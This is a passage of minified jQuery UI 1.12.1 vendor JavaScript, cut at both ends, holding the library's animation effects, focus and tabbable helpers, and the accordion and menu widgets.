i,s=e.css("position"),n=e.position();return e.css({marginTop:e.css("marginTop"),marginBottom:e.css("marginBottom"),marginLeft:e.css("marginLeft"),marginRight:e.css("marginRight")}).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()),/^(static|relative)/.test(s)&&(s="absolute",i=t("<"+e[0].nodeName+">").insertAfter(e).css({display:/^(inline|ruby)/.test(e.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:e.css("marginTop"),marginBottom:e.css("marginBottom"),marginLeft:e.css("marginLeft"),marginRight:e.css("marginRight"),"float":e.css("float")}).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).addClass("ui-effects-placeholder"),e.data(c+"placeholder",i)),e.css({position:s,left:n.left,top:n.top}),i},removePlaceholder:function(t){var e=c+"placeholder",i=t.data(e);i&&(i.remove(),t.removeData(e))},cleanUp:function(e){t.effects.restoreStyle(e),t.effects.removePlaceholder(e)},setTransition:function(e,i,s,n){return n=n||{},t.each(i,function(t,i){var o=e.cssUnit(i);o[0]>0&&(n[i]=o[0]*s+o[1])}),n}}),t.fn.extend({effect:function(){function i(e){function i(){r.removeData(d),t.effects.cleanUp(r),"hide"===s.mode&&r.hide(),a()}function a(){t.isFunction(h)&&h.call(r[0]),t.isFunction(e)&&e()}var r=t(this);s.mode=c.shift(),t.uiBackCompat===!1||o?"none"===s.mode?(r[l](),a()):n.call(r[0],s,i):(r.is(":hidden")?"hide"===l:"show"===l)?(r[l](),a()):n.call(r[0],s,a)}var s=e.apply(this,arguments),n=t.effects.effect[s.effect],o=n.mode,a=s.queue,r=a||"fx",h=s.complete,l=s.mode,c=[],u=function(e){var i=t(this),s=t.effects.mode(i,l)||o;i.data(d,!0),c.push(s),o&&("show"===s||s===o&&"hide"===s)&&i.show(),o&&"none"===s||t.effects.saveStyle(i),t.isFunction(e)&&e()};return t.fx.off||!n?l?this[l](s.duration,h):this.each(function(){h&&h.call(this)}):a===!1?this.each(u).each(i):this.queue(r,u).queue(r,i)},show:function(t){return function(s){if(i(s))return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="show",this.effect.call(this,n)
15
vendor: 32,074 bytes, line 15
15}}(t.fn.show),hide:function(t){return function(s){if(i(s))return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="hide",this.effect.call(this,n)}}(t.fn.hide),toggle:function(t){return function(s){if(i(s)||"boolean"==typeof s)return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="toggle",this.effect.call(this,n)}}(t.fn.toggle),cssUnit:function(e){var i=this.css(e),s=[];return t.each(["em","px","%","pt"],function(t,e){i.indexOf(e)>0&&(s=[parseFloat(i),e])}),s},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):s(this.css("clip"),this)},transfer:function(e,i){var s=t(this),n=t(e.to),o="fixed"===n.css("position"),a=t("body"),r=o?a.scrollTop():0,h=o?a.scrollLeft():0,l=n.offset(),c={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},u=s.offset(),d=t("<div class='ui-effects-transfer'></div>").appendTo("body").addClass(e.className).css({top:u.top-r,left:u.left-h,height:s.innerHeight(),width:s.innerWidth(),position:o?"fixed":"absolute"}).animate(c,e.duration,e.easing,function(){d.remove(),t.isFunction(i)&&i()})}}),t.fx.step.clip=function(e){e.clipInit||(e.start=t(e.elem).cssClip(),"string"==typeof e.end&&(e.end=s(e.end,e.elem)),e.clipInit=!0),t(e.elem).cssClip({top:e.pos*(e.end.top-e.start.top)+e.start.top,right:e.pos*(e.end.right-e.start.right)+e.start.right,bottom:e.pos*(e.end.bottom-e.start.bottom)+e.start.bottom,left:e.pos*(e.end.left-e.start.left)+e.start.left})}}(),function(){var e={};t.each(["Quad","Cubic","Quart","Quint","Expo"],function(t,i){e[i]=function(e){return Math.pow(e,t+2)}}),t.extend(e,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,i=4;((e=Math.pow(2,--i))-1)/11>t;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*e-2)/22-t,2)}}),t.each(e,function(e,i){t.easing["easeIn"+e]=i,t.easing["easeOut"+e]=function(t){return 1-i(1-t)},t.easing["easeInOut"+e]=function(t){return.5>t?i(2*t)/2:1-i(-2*t+2)/2}})}();var f=t.effects;t.effects.define("blind","hide",function(e,i){var s={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},n=t(this),o=e.direction||"up",a=n.cssClip(),r={clip:t.extend({},a)},h=t.effects.createPlaceholder(n);r.clip[s[o][0]]=r.clip[s[o][1]],"show"===e.mode&&(n.cssClip(r.clip),h&&h.css(t.effects.clipToBox(r)),r.clip=a),h&&h.animate(t.effects.clipToBox(r),e.duration,e.easing),n.animate(r,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("bounce",function(e,i){var s,n,o,a=t(this),r=e.mode,h="hide"===r,l="show"===r,c=e.direction||"up",u=e.distance,d=e.times||5,p=2*d+(l||h?1:0),f=e.duration/p,g=e.easing,m="up"===c||"down"===c?"top":"left",_="up"===c||"left"===c,v=0,b=a.queue().length;for(t.effects.createPlaceholder(a),o=a.css(m),u||(u=a["top"===m?"outerHeight":"outerWidth"]()/3),l&&(n={opacity:1},n[m]=o,a.css("opacity",0).css(m,_?2*-u:2*u).animate(n,f,g)),h&&(u/=Math.pow(2,d-1)),n={},n[m]=o;d>v;v++)s={},s[m]=(_?"-=":"+=")+u,a.animate(s,f,g).animate(n,f,g),u=h?2*u:u/2;h&&(s={opacity:0},s[m]=(_?"-=":"+=")+u,a.animate(s,f,g)),a.queue(i),t.effects.unshift(a,b,p+1)}),t.effects.define("clip","hide",function(e,i){var s,n={},o=t(this),a=e.direction||"vertical",r="both"===a,h=r||"horizontal"===a,l=r||"vertical"===a;s=o.cssClip(),n.clip={top:l?(s.bottom-s.top)/2:s.top,right:h?(s.right-s.left)/2:s.right,bottom:l?(s.bottom-s.top)/2:s.bottom,left:h?(s.right-s.left)/2:s.left},t.effects.createPlaceholder(o),"show"===e.mode&&(o.cssClip(n.clip),n.clip=s),o.animate(n,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("drop","hide",function(e,i){var s,n=t(this),o=e.mode,a="show"===o,r=e.direction||"left",h="up"===r||"down"===r?"top":"left",l="up"===r||"left"===r?"-=":"+=",c="+="===l?"-=":"+=",u={opacity:0};t.effects.createPlaceholder(n),s=e.distance||n["top"===h?"outerHeight":"outerWidth"](!0)/2,u[h]=l+s,a&&(n.css(u),u[h]=c+s,u.opacity=1),n.animate(u,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("explode","hide",function(e,i){function s(){b.push(this),b.length===u*d&&n()}function n(){p.css({visibility:"visible"}),t(b).remove(),i()}var o,a,r,h,l,c,u=e.pieces?Math.round(Math.sqrt(e.pieces)):3,d=u,p=t(this),f=e.mode,g="show"===f,m=p.show().css("visibility","hidden").offset(),_=Math.ceil(p.outerWidth()/d),v=Math.ceil(p.outerHeight()/u),b=[];for(o=0;u>o;o++)for(h=m.top+o*v,c=o-(u-1)/2,a=0;d>a;a++)r=m.left+a*_,l=a-(d-1)/2,p.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-a*_,top:-o*v}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:_,height:v,left:r+(g?l*_:0),top:h+(g?c*v:0),opacity:g?0:1}).animate({left:r+(g?0:l*_),top:h+(g?0:c*v),opacity:g?1:0},e.duration||500,e.easing,s)}),t.effects.define("fade","toggle",function(e,i){var s="show"===e.mode;t(this).css("opacity",s?0:1).animate({opacity:s?1:0},{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("fold","hide",function(e,i){var s=t(this),n=e.mode,o="show"===n,a="hide"===n,r=e.size||15,h=/([0-9]+)%/.exec(r),l=!!e.horizFirst,c=l?["right","bottom"]:["bottom","right"],u=e.duration/2,d=t.effects.createPlaceholder(s),p=s.cssClip(),f={clip:t.extend({},p)},g={clip:t.extend({},p)},m=[p[c[0]],p[c[1]]],_=s.queue().length;h&&(r=parseInt(h[1],10)/100*m[a?0:1]),f.clip[c[0]]=r,g.clip[c[0]]=r,g.clip[c[1]]=0,o&&(s.cssClip(g.clip),d&&d.css(t.effects.clipToBox(g)),g.clip=p),s.queue(function(i){d&&d.animate(t.effects.clipToBox(f),u,e.easing).animate(t.effects.clipToBox(g),u,e.easing),i()}).animate(f,u,e.easing).animate(g,u,e.easing).queue(i),t.effects.unshift(s,_,4)}),t.effects.define("highlight","show",function(e,i){var s=t(this),n={backgroundColor:s.css("backgroundColor")};"hide"===e.mode&&(n.opacity=0),t.effects.saveStyle(s),s.css({backgroundImage:"none",backgroundColor:e.color||"#ffff99"}).animate(n,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("size",function(e,i){var s,n,o,a=t(this),r=["fontSize"],h=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],l=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],c=e.mode,u="effect"!==c,d=e.scale||"both",p=e.origin||["middle","center"],f=a.css("position"),g=a.position(),m=t.effects.scaledDimensions(a),_=e.from||m,v=e.to||t.effects.scaledDimensions(a,0);t.effects.createPlaceholder(a),"show"===c&&(o=_,_=v,v=o),n={from:{y:_.height/m.height,x:_.width/m.width},to:{y:v.height/m.height,x:v.width/m.width}},("box"===d||"both"===d)&&(n.from.y!==n.to.y&&(_=t.effects.setTransition(a,h,n.from.y,_),v=t.effects.setTransition(a,h,n.to.y,v)),n.from.x!==n.to.x&&(_=t.effects.setTransition(a,l,n.from.x,_),v=t.effects.setTransition(a,l,n.to.x,v))),("content"===d||"both"===d)&&n.from.y!==n.to.y&&(_=t.effects.setTransition(a,r,n.from.y,_),v=t.effects.setTransition(a,r,n.to.y,v)),p&&(s=t.effects.getBaseline(p,m),_.top=(m.outerHeight-_.outerHeight)*s.y+g.top,_.left=(m.outerWidth-_.outerWidth)*s.x+g.left,v.top=(m.outerHeight-v.outerHeight)*s.y+g.top,v.left=(m.outerWidth-v.outerWidth)*s.x+g.left),a.css(_),("content"===d||"both"===d)&&(h=h.concat(["marginTop","marginBottom"]).concat(r),l=l.concat(["marginLeft","marginRight"]),a.find("*[width]").each(function(){var i=t(this),s=t.effects.scaledDimensions(i),o={height:s.height*n.from.y,width:s.width*n.from.x,outerHeight:s.outerHeight*n.from.y,outerWidth:s.outerWidth*n.from.x},a={height:s.height*n.to.y,width:s.width*n.to.x,outerHeight:s.height*n.to.y,outerWidth:s.width*n.to.x};n.from.y!==n.to.y&&(o=t.effects.setTransition(i,h,n.from.y,o),a=t.effects.setTransition(i,h,n.to.y,a)),n.from.x!==n.to.x&&(o=t.effects.setTransition(i,l,n.from.x,o),a=t.effects.setTransition(i,l,n.to.x,a)),u&&t.effects.saveStyle(i),i.css(o),i.animate(a,e.duration,e.easing,function(){u&&t.effects.restoreStyle(i)})})),a.animate(v,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){var e=a.offset();0===v.opacity&&a.css("opacity",_.opacity),u||(a.css("position","static"===f?"relative":f).offset(e),t.effects.saveStyle(a)),i()}})}),t.effects.define("scale",function(e,i){var s=t(this),n=e.mode,o=parseInt(e.percent,10)||(0===parseInt(e.percent,10)?0:"effect"!==n?0:100),a=t.extend(!0,{from:t.effects.scaledDimensions(s),to:t.effects.scaledDimensions(s,o,e.direction||"both"),origin:e.origin||["middle","center"]},e);e.fade&&(a.from.opacity=1,a.to.opacity=0),t.effects.effect.size.call(this,a,i)}),t.effects.define("puff","hide",function(e,i){var s=t.extend(!0,{},e,{fade:!0,percent:parseInt(e.percent,10)||150});t.effects.effect.scale.call(this,s,i)}),t.effects.define("pulsate","show",function(e,i){var s=t(this),n=e.mode,o="show"===n,a="hide"===n,r=o||a,h=2*(e.times||5)+(r?1:0),l=e.duration/h,c=0,u=1,d=s.queue().length;for((o||!s.is(":visible"))&&(s.css("opacity",0).show(),c=1);h>u;u++)s.animate({opacity:c},l,e.easing),c=1-c;s.animate({opacity:c},l,e.easing),s.queue(i),t.effects.unshift(s,d,h+1)}),t.effects.define("shake",function(e,i){var s=1,n=t(this),o=e.direction||"left",a=e.distance||20,r=e.times||3,h=2*r+1,l=Math.round(e.duration/h),c="up"===o||"down"===o?"top":"left",u="up"===o||"left"===o,d={},p={},f={},g=n.queue().length;for(t.effects.createPlaceholder(n),d[c]=(u?"-=":"+=")+a,p[c]=(u?"+=":"-=")+2*a,f[c]=(u?"-=":"+=")+2*a,n.animate(d,l,e.easing);r>s;s++)n.animate(p,l,e.easing).animate(f,l,e.easing);n.animate(p,l,e.easing).animate(d,l/2,e.easing).queue(i),t.effects.unshift(n,g,h+1)}),t.effects.define("slide","show",function(e,i){var s,n,o=t(this),a={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},r=e.mode,h=e.direction||"left",l="up"===h||"down"===h?"top":"left",c="up"===h||"left"===h,u=e.distance||o["top"===l?"outerHeight":"outerWidth"](!0),d={};t.effects.createPlaceholder(o),s=o.cssClip(),n=o.position()[l],d[l]=(c?-1:1)*u+n,d.clip=o.cssClip(),d.clip[a[h][1]]=d.clip[a[h][0]],"show"===r&&(o.cssClip(d.clip),o.css(l,d[l]),d.clip=s,d[l]=n),o.animate(d,{queue:!1,duration:e.duration,easing:e.easing,complete:i})});var f;t.uiBackCompat!==!1&&(f=t.effects.define("transfer",function(e,i){t(this).transfer(e,i)})),t.ui.focusable=function(i,s){var n,o,a,r,h,l=i.nodeName.toLowerCase();return"area"===l?(n=i.parentNode,o=n.name,i.href&&o&&"map"===n.nodeName.toLowerCase()?(a=t("img[usemap='#"+o+"']"),a.length>0&&a.is(":visible")):!1):(/^(input|select|textarea|button|object)$/.test(l)?(r=!i.disabled,r&&(h=t(i).closest("fieldset")[0],h&&(r=!h.disabled))):r="a"===l?i.href||s:s,r&&t(i).is(":visible")&&e(t(i)))},t.extend(t.expr[":"],{focusable:function(e){return t.ui.focusable(e,null!=t.attr(e,"tabindex"))}}),t.ui.focusable,t.fn.form=function(){return"string"==typeof this[0].form?this.closest("form"):t(this[0].form)},t.ui.formResetMixin={_formResetHandler:function(){var e=t(this);setTimeout(function(){var i=e.data("ui-form-reset-instances");t.each(i,function(){this.refresh()})})},_bindFormResetHandler:function(){if(this.form=this.element.form(),this.form.length){var t=this.form.data("ui-form-reset-instances")||[];t.length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t)}},_unbindFormResetHandler:function(){if(this.form.length){var e=this.form.data("ui-form-reset-instances");e.splice(t.inArray(this,e),1),e.length?this.form.data("ui-form-reset-instances",e):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset")}}},"1.7"===t.fn.jquery.substring(0,3)&&(t.each(["Width","Height"],function(e,i){function s(e,i,s,o){return t.each(n,function(){i-=parseFloat(t.css(e,"padding"+this))||0,s&&(i-=parseFloat(t.css(e,"border"+this+"Width"))||0),o&&(i-=parseFloat(t.css(e,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],o=i.toLowerCase(),a={innerWidth:t.fn.innerWidth,innerHeight:t.fn.innerHeight,outerWidth:t.fn.outerWidth,outerHeight:t.fn.outerHeight};t.fn["inner"+i]=function(e){return void 0===e?a["inner"+i].call(this):this.each(function(){t(this).css(o,s(this,e)+"px")})},t.fn["outer"+i]=function(e,n){return"number"!=typeof e?a["outer"+i].call(this,e):this.each(function(){t(this).css(o,s(this,e,!0,n)+"px")})}}),t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.escapeSelector=function(){var t=/([!"#$%&'()*+,./:;<=>?@[\]^`{|}~])/g;return function(e){return e.replace(t,"\\$1")}}(),t.fn.labels=function(){var e,i,s,n,o;return this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(n=this.eq(0).parents("label"),s=this.attr("id"),s&&(e=this.eq(0).parents().last(),o=e.add(e.length?e.siblings():this.siblings()),i="label[for='"+t.ui.escapeSelector(s)+"']",n=n.add(o.find(i).addBack(i))),this.pushStack(n))},t.fn.scrollParent=function(e){var i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var e=t(this);return s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&o.length?o:t(this[0].ownerDocument||document)},t.extend(t.expr[":"],{tabbable:function(e){var i=t.attr(e,"tabindex"),s=null!=i;return(!s||i>=0)&&t.ui.focusable(e,s)}}),t.fn.extend({uniqueId:function(){var t=0;return function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++t)})}}(),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&t(this).removeAttr("id")})}}),t.widget("ui.accordion",{version:"1.12.1",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:"> li > :first-child, > :not(li):even",heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var e=this.options;this.prevShow=this.prevHide=t(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),e.collapsible||e.active!==!1&&null!=e.active||(e.active=0),this._processPanels(),0>e.active&&(e.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():t()}},_createIcons:function(){var e,i,s=this.options.icons;s&&(e=t("<span>"),this._addClass(e,"ui-accordion-header-icon","ui-icon "+s.header),e.prependTo(this.headers),i=this.active.children(".ui-accordion-header-icon"),this._removeClass(i,s.header)._addClass(i,null,s.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var t;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),t=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&t.css("height","")},_setOption:function(t,e){return"active"===t?(this._activate(e),void 0):("event"===t&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(e)),this._super(t,e),"collapsible"!==t||e||this.options.active!==!1||this._activate(0),"icons"===t&&(this._destroyIcons(),e&&this._createIcons()),void 0)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!t)},_keydown:function(e){if(!e.altKey&&!e.ctrlKey){var i=t.ui.keyCode,s=this.headers.length,n=this.headers.index(e.target),o=!1;switch(e.keyCode){case i.RIGHT:case i.DOWN:o=this.headers[(n+1)%s];break;case i.LEFT:case i.UP:o=this.headers[(n-1+s)%s];break;case i.SPACE:case i.ENTER:this._eventHandler(e);break;case i.HOME:o=this.headers[0];break;case i.END:o=this.headers[s-1]}o&&(t(e.target).attr("tabIndex",-1),t(o).attr("tabIndex",0),t(o).trigger("focus"),e.preventDefault())}},_panelKeyDown:function(e){e.keyCode===t.ui.keyCode.UP&&e.ctrlKey&&t(e.currentTarget).prev().trigger("focus")},refresh:function(){var e=this.options;this._processPanels(),e.active===!1&&e.collapsible===!0||!this.headers.length?(e.active=!1,this.active=t()):e.active===!1?this._activate(0):this.active.length&&!t.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(e.active=!1,this.active=t()):this._activate(Math.max(0,e.active-1)):e.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var t=this.headers,e=this.panels;this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),e&&(this._off(t.not(this.headers)),this._off(e.not(this.panels)))},_refresh:function(){var e,i=this.options,s=i.heightStyle,n=this.element.parent();this.active=this._findActive(i.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var e=t(this),i=e.uniqueId().attr("id"),s=e.next(),n=s.uniqueId().attr("id");e.attr("aria-controls",n),s.attr("aria-labelledby",i)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(i.event),"fill"===s?(e=n.height(),this.element.siblings(":visible").each(function(){var i=t(this),s=i.css("position");"absolute"!==s&&"fixed"!==s&&(e-=i.outerHeight(!0))}),this.headers.each(function(){e-=t(this).outerHeight(!0)}),this.headers.next().each(function(){t(this).height(Math.max(0,e-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===s&&(e=0,this.headers.next().each(function(){var i=t(this).is(":visible");i||t(this).show(),e=Math.max(e,t(this).css("height","").height()),i||t(this).hide()}).height(e))},_activate:function(e){var i=this._findActive(e)[0];i!==this.active[0]&&(i=i||this.active[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return"number"==typeof e?this.headers.eq(e):t()},_setupEvents:function(e){var i={keydown:"_keydown"};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(e){var i,s,n=this.options,o=this.active,a=t(e.currentTarget),r=a[0]===o[0],h=r&&n.collapsible,l=h?t():a.next(),c=o.next(),u={oldHeader:o,oldPanel:c,newHeader:h?t():a,newPanel:l};e.preventDefault(),r&&!n.collapsible||this._trigger("beforeActivate",e,u)===!1||(n.active=h?!1:this.headers.index(a),this.active=r?t():a,this._toggle(u),this._removeClass(o,"ui-accordion-header-active","ui-state-active"),n.icons&&(i=o.children(".ui-accordion-header-icon"),this._removeClass(i,null,n.icons.activeHeader)._addClass(i,null,n.icons.header)),r||(this._removeClass(a,"ui-accordion-header-collapsed")._addClass(a,"ui-accordion-header-active","ui-state-active"),n.icons&&(s=a.children(".ui-accordion-header-icon"),this._removeClass(s,null,n.icons.header)._addClass(s,null,n.icons.activeHeader)),this._addClass(a.next(),"ui-accordion-content-active")))},_toggle:function(e){var i=e.newPanel,s=this.prevShow.length?this.prevShow:e.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=s,this.options.animate?this._animate(i,s,e):(s.hide(),i.show(),this._toggleComplete(e)),s.attr({"aria-hidden":"true"}),s.prev().attr({"aria-selected":"false","aria-expanded":"false"}),i.length&&s.length?s.prev().attr({tabIndex:-1,"aria-expanded":"false"}):i.length&&this.headers.filter(function(){return 0===parseInt(t(this).attr("tabIndex"),10)}).attr("tabIndex",-1),i.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(t,e,i){var s,n,o,a=this,r=0,h=t.css("box-sizing"),l=t.length&&(!e.length||t.index()<e.index()),c=this.options.animate||{},u=l&&c.down||c,d=function(){a._toggleComplete(i)};return"number"==typeof u&&(o=u),"string"==typeof u&&(n=u),n=n||u.easing||c.easing,o=o||u.duration||c.duration,e.length?t.length?(s=t.show().outerHeight(),e.animate(this.hideProps,{duration:o,easing:n,step:function(t,e){e.now=Math.round(t)}}),t.hide().animate(this.showProps,{duration:o,easing:n,complete:d,step:function(t,i){i.now=Math.round(t),"height"!==i.prop?"content-box"===h&&(r+=i.now):"content"!==a.options.heightStyle&&(i.now=Math.round(s-e.outerHeight()-r),r=0)}}),void 0):e.animate(this.hideProps,o,n,d):t.animate(this.showProps,o,n,d)},_toggleComplete:function(t){var e=t.oldPanel,i=e.prev();this._removeClass(e,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),e.length&&(e.parent()[0].className=e.parent()[0].className),this._trigger("activate",null,t)}}),t.ui.safeActiveElement=function(t){var e;try{e=t.activeElement}catch(i){e=t.body}return e||(e=t.body),e.nodeName||(e=t.body),e},t.widget("ui.menu",{version:"1.12.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(t){t.preventDefault()},"click .ui-menu-item":function(e){var i=t(e.target),s=t(t.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(e):!this.element.is(":focus")&&s.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(e){if(!this.previousFilter){var i=t(e.target).closest(".ui-menu-item"),s=t(e.currentTarget);i[0]===s[0]&&(this._removeClass(s.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(e,s))}},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var i=this.active||this.element.find(this.options.items).eq(0);e||this.focus(t,i)},blur:function(e){this._delay(function(){var i=!t.contains(this.element[0],t.ui.safeActiveElement(this.document[0]));i&&this.collapseAll(e)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){this._closeOnDocumentClick(t)&&this.collapseAll(t),this.mouseHandled=!1}})},_destroy:function(){var e=this.element.find(".ui-menu-item").removeAttr("role aria-disabled"),i=e.children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),i.children().each(function(){var e=t(this);e.data("ui-menu-submenu-caret")&&e.remove()})},_keydown:function(e){var i,s,n,o,a=!0;switch(e.keyCode){case t.ui.keyCode.PAGE_UP:this.previousPage(e);break;case t.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case t.ui.keyCode.HOME:this._move("first","first",e);break;case t.ui.keyCode.END:this._move("last","last",e);break;case t.ui.keyCode.UP:this.previous(e);break;case t.ui.keyCode.DOWN:this.next(e);break;case t.ui.keyCode.LEFT:this.collapse(e);break;case t.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case t.ui.keyCode.ENTER:case t.ui.keyCode.SPACE:this._activate(e);break;case t.ui.keyCode.ESCAPE:this.collapse(e);break;default:a=!1,s=this.previousFilter||"",o=!1,n=e.keyCode>=96&&105>=e.keyCode?""+(e.keyCode-96):String.fromCharCode(e.keyCode),clearTimeout(this.filterTimer),n===s?o=!0:n=s+n,i=this._filterMenuItems(n),i=o&&-1!==i.index(this.active.next())?this.active.nextAll(".ui-menu-item"):i,i.length||(n=String.fromCharCode(e.keyCode),i=this._filterMenuItems(n)),i.length?(this.focus(e,i),this.previousFilter=n,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}a&&e.preventDefault()},_activate:function(t){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var e,i,s,n,o,a=this,r=this.options.icons.submenu,h=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),s=h.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var e=t(this),i=e.prev(),s=t("<span>").data("ui-menu-submenu-caret",!0);a._addClass(s,"ui-menu-icon","ui-icon "+r),i.attr("aria-haspopup","true").prepend(s),e.attr("aria-labelledby",i.attr("id"))}),this._addClass(s,"ui-menu","ui-widget ui-widget-content ui-front"),e=h.add(this.element),i=e.find(this.options.items),i.not(".ui-menu-item").each(function(){var e=t(this);a._isDivider(e)&&a._addClass(e,"ui-menu-divider","ui-widget-content")}),n=i.not(".ui-menu-item, 